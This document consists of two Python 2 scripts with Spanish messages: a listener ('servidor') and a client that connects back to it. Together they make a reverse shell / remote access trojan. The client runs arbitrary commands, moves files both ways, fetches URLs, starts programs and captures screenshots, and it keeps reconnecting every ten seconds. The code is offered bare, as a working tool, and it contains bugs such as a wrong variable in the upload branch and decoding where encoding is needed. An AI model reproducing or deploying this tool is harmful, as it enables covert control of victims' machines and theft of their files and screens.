--------------------------servidor:
#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket
import base64

def shell():
   current_dir = target.recv(1024)
   while True:
      comando = raw_input("{}~#: ".format(current_dir))
      if comando == "exit":
         target.send(comando)
         break
      elif comando[:2] == "cd":
         target.send(comando)
         res = target.recv(1024)
         current_dir = res
         print(res)
      elif comando == "":
         pass
      elif comando[:8] == "download":
         target.send(comando)
         with open(comando[9:],'wb') as file_download:
            datos = target.recv(30720)
            file_download.write(base64.b64decode(datos))
      elif comando[:6] == "upload":
         try:
            target.send(comando)
            with open(res[7:],'rb') as file_upload:
               target.send(base64.b64encode(file_upload.read()))
         except:
            print("ocurrio un error en la subida")
      elif comando[:10] == "screenshot":
         count = 0
         target.send(comando)
         with open("monitor-%d.png" % count, 'wb') as screen:
            datos = target.recv(1024000)
            data_decode = base64.b64decode(datos)
            if data_decode == "fail":
               print("No se pudo tomar la captura de pantalla")
            else:
               screen.write(data_decode)
               print("captura tomada con exito")
               count = count + 1
      else:
         target.send(comando)
         res = target.recv(30720)
         if res == "1":
            continue
         else:
            print(res)
            
def upserver():
    global server
    global ip
    global target

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('192.168.0.15',7777))
    server.listen(1)

    print("corriendo servidor y esperando conexione... ")

    target, ip = server.accept()

    print("conexion recibida de: " + str(ip[0]))

upserver()
shell()
server.close()
----------------------------------cliente
#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket
import os
import subprocess
import base64
import requests
import mss
import time

def connection():
   while True:
      time.sleep(10)
      try:
         cliente.connect(('192.168.0.15',7777))
         shell()
      except:
         connection()
def captura_pantalla():
   screen = mss.mss()
   screen.shot()
   
def download_file(url):
   consulta = requests.get(url)
   name_file = url.split("/")[-1]
   with open(name_file,'wb') as file_get:
      file_get.write(consulta.content)
def shell():
   current_dir = os.getcwd()
   cliente.send(current_dir)
   while True:
      res = cliente.recv(1024)
      if res == "exit":
         break
      elif res[:2] == "cd" and len(res) > 2:
         os.chdir(res[3:])
         result = os.getcwd()
         cliente.send(result)
      elif res[:8] == "download":
         with open(res[9:],'rb') as file_download:
            cliente.send(base64.b64decode(file_download.read()))
            
      elif res[:6] == "upload":
         with open(res[7:],'wb') as file_upload:
            datos = cliente.recv(30720)
            file_upload.write(base64.b64decode(datos))
            
      elif res[:3] == "get":
         try:
            download_file(res[4:])
            cliente.send("Archivo descargado correctamente")
         except:
            cliente.send("Ocurrio un error en la descarga")
         
      elif res[:10] == "screenshot":
         try:
            captura_pantalla()
            with open('monitor-1.png','rb') as file_send:
               cliente.send(base64.b64encode(file_send.read()))
            os.remove("monitor-1.png")
         except:
            cliente.send(base64.b64encode("fail"))
      elif res[:5] == "start":
         try:
            subprocess.Popen(res[6:],shell=True)
            cliente.send("programa iniciado con exito")
         except:
            cliente.send("no se pudo iniciar el programa")
      else:
         proc = subprocess.Popen(res, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
         result = proc.stdout.read() + proc.stderr.read()
         if len(result) == 0:
            cliente.send("1")
         else:
            cliente.send(result)


cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
cliente.close()